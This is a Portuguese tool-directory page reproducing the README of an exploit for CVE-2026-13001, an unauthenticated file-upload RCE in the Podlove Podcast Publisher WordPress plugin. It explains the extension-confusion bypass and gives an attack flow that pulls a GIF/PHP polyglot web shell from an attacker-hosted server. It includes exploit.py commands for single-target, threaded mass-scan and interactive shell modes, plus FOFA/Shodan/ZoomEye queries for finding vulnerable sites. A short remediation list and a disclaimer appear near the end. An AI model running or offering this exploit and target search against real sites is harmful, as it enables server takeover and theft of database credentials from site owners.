Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-13001 | Kitploit
Ferramentas/GitHubGitHub/ghostpels/cve-2026-13001
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoDesenvolvimento de Payloads
GitHubghostpels/cve-2026-13001

CVE-2026-13001

Ver Repositório
há 29 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-13001

Podlove Podcast Publisher <= 4.5.1 — RCE Não Autenticado via Confusão de Extensão

CVSS 9.8 (Crítico) | Upload Arbitrário de Arquivo Não Autenticado levando à Execução Remota de Código


Visão Geral

Vulnerabilidade crítica no plugin WordPress Podlove Podcast Publisher (versões até e incluindo 4.5.1) que permite que atacantes não autenticados enviem arquivos PHP arbitrários para o servidor por meio da funcionalidade de cache de imagens, levando à Execução Remota de Código (RCE).

A vulnerabilidade explora uma discrepância entre duas funções internas que analisam extensões de arquivo de maneiras diferentes:

FunçãoMétodoEntrada: payload.php?.gifResultado
is_image()basename() seguido de pathinfo()payload.php?.gif.gif (passa na validação)
extract_file_extension()parse_url() seguido de pathinfo()/payload.php.php (salvo em disco)

Detalhes da Vulnerabilidade


Análise da Causa Raiz

A vulnerabilidade existe porque duas funções no plugin Podlove analisam a mesma URL mas extraem extensões de arquivo diferentes:

1. is_image() — Validação (em lib/helper.php)

root@kitploit:~
// Called with: is_image($temp_file, basename($this->source_url))
// basename("https://attacker.com/payload.php?.gif") returns "payload.php?.gif"
// pathinfo("payload.php?.gif", PATHINFO_EXTENSION) returns "gif"  <- BYPASS!

A função verifica:

  • Verificação baseada em conteúdo via exif_imagetype() - requer cabeçalho de imagem válido (GIF89a)
  • Verificação de tipo de arquivo do WordPress via wp_check_filetype_and_ext()
  • Lista de bloqueio de extensões (php, php3, php4, php5, phtml, phar, etc.)

Como basename() inclui a string de consulta, a extensão aparece como gif - não está na lista de bloqueio.

2. extract_file_extension() — Nomeação de Arquivo (em lib/model/image.php)

root@kitploit:~
// parse_url("https://attacker.com/payload.php?.gif")
// path = "/payload.php"  (query string stripped!)
// pathinfo("/payload.php", PATHINFO_EXTENSION) returns "php"

O arquivo é salvo com a extensão .php no disco.


Fluxo de Ataque

root@kitploit:~
1. Attacker hosts GIF89a PHP polyglot at: attacker.com/payload.php
   (File starts with GIF89a header but contains PHP code)

2. Exploit appends ?.gif to URL: payload.php?.gif
   Then hex-encodes the full URL

3. Trigger cache download:
   GET /?podlove_image_cache_url={hex_encoded_url}&podlove_file_name=test

4. Plugin processing:
   a. Downloads file from attacker URL
   b. is_image() checks content: GIF89a header detected - PASS
   c. is_image() checks extension: basename sees "gif" - PASS
   d. extract_file_extension() uses parse_url path: gets "php"
   e. File saved as: test_original.php

5. File location:
   /wp-content/cache/podlove/{hash[:2]}/{hash[2:]}/test_original.php

6. Attacker accesses the file with parameters -> RCE achieved

Instalação

root@kitploit:~
git clone https://github.com/ghostpel-sec/CVE-2026-13001.git
cd CVE-2026-13001
pip install -r requirements.txt

Uso

Alvo Único

root@kitploit:~
python3 exploit.py -u http://target.com \
  -s https://yourserver.com/shell_polyglot.gif.php \
  --filename test -v

Varredura em Massa

root@kitploit:~
python3 exploit.py -f targets.txt \
  -s https://yourserver.com/shell_polyglot.gif.php \
  -o vuln.txt -t 15 -v

Modo Interativo (acesso direto ao arquivo enviado)

root@kitploit:~
python3 exploit.py --shell-url http://target.com/wp-content/cache/podlove/a1/b2c3.../test_original.php

Modo de Depuração

root@kitploit:~
python3 exploit.py -u http://target.com \
  -s https://yourserver.com/shell_polyglot.gif.php \
  --filename test --debug

Opções

root@kitploit:~
-u, --url          Single target URL
-f, --file         File containing target URLs (one per line)
-s, --shell        URL hosting the GIF89a PHP polyglot
--filename         Custom filename for cached file (default: shell)
--shell-url        Direct URL for interactive mode
-o, --output       Output file for vulnerable targets (bulk mode)
-t, --threads      Number of threads (default: 10)
-v, --verbose      Verbose output
--debug            Debug output (show all HTTP requests)
--no-payload-test  Skip payload accessibility test

Payload: Poliglota PHP GIF89a

O shell_polyglot.gif.php é um arquivo poliglota que é válido tanto como imagem GIF quanto como PHP:

root@kitploit:~
GIF89a        <- Valid GIF header (passes exif_imagetype check)
/*            <- Start of comment (GIF binary data is commented out for PHP)

<?php         <- PHP code begins here
// ... code ...
?>

Importante: O poliglota deve ser hospedado como um arquivo estático (ex.: Cloudflare R2, AWS S3, nginx sem PHP). Se o servidor de hospedagem processar PHP, o código é executado no servidor de hospedagem em vez de ser entregue como conteúdo bruto ao alvo.


FOFA / Shodan / ZoomEye

root@kitploit:~
# FOFA
body="podlove-podcasting-plugin-for-wordpress"

# Shodan
http.html:"podlove"

# ZoomEye
app:"Podlove Podcast Publisher"

Impacto

A exploração bem-sucedida resulta em execução remota de código como o usuário do servidor web:

  • Extrair credenciais de banco de dados do wp-config.php
  • Acessar todos os usuários, posts e dados de plugins do WordPress
  • Implantar mecanismos de acesso persistente
  • Fazer pivô para redes internas
  • Comprometimento total do servidor

Remediação

  1. Atualize para Podlove Podcast Publisher 4.5.2 ou posterior
  2. Exclua o conteúdo do diretório wp-content/cache/podlove/
  3. Audite o servidor em busca de arquivos PHP desconhecidos nos diretórios de cache
  4. Monitore os logs de acesso em busca de requisições suspeitas de podlove_image_cache_url

Relação com CVE-2025-10147

Esta vulnerabilidade é um contorno da correção para CVE-2025-10147 (Podlove <= 4.2.6).

AspectoCVE-2025-10147 (v4.2.6)CVE-2026-13001 (v4.5.1)

Consulte analysis/CVE_COMPARISON.md para uma comparação detalhada.


Referências

  • Wordfence Advisory
  • GitHub Fix Commit
  • WordPress Plugin Page
  • NVD Entry

Aviso Legal

APENAS PARA FINS EDUCACIONAIS E DE TESTES AUTORIZADOS.

Esta ferramenta é destinada a pesquisadores de segurança e testadores de penetração com autorização explícita por escrito para testar sistemas alvo. O acesso não autorizado a sistemas de computador é ilegal. Os autores não assumem nenhuma responsabilidade pelo uso indevido desta ferramenta.


Autor

ghostpel-sec — Pesquisa em Segurança e Desenvolvimento de Exploits

Licença

Este projeto está licenciado sob a ghostpel-sec Security Research License.

Baixar ferramenta
CampoValor
CVE IDCVE-2026-13001
CVSS9.8 (Crítico)
CWECWE-20 (Validação Incorreta de Entrada)
PluginPodlove Podcast Publisher
AfetadoVersões até e incluindo 4.5.1
Corrigido4.5.2
TipoUpload Arbitrário de Arquivo Não Autenticado para RCE
PesquisadorTalal Nasraddeen (via Wordfence)
Publicado14 de julho de 2026
Causa raizNenhuma validação de tipo de arquivoContorno de validação via confusão de extensão
TécnicaUpload direto de arquivo PHPPoliglota GIF89a + truque de query na URL
Correção aplicadaAdicionado is_image() com lista de bloqueioCorrigida a consistência do parsing de extensão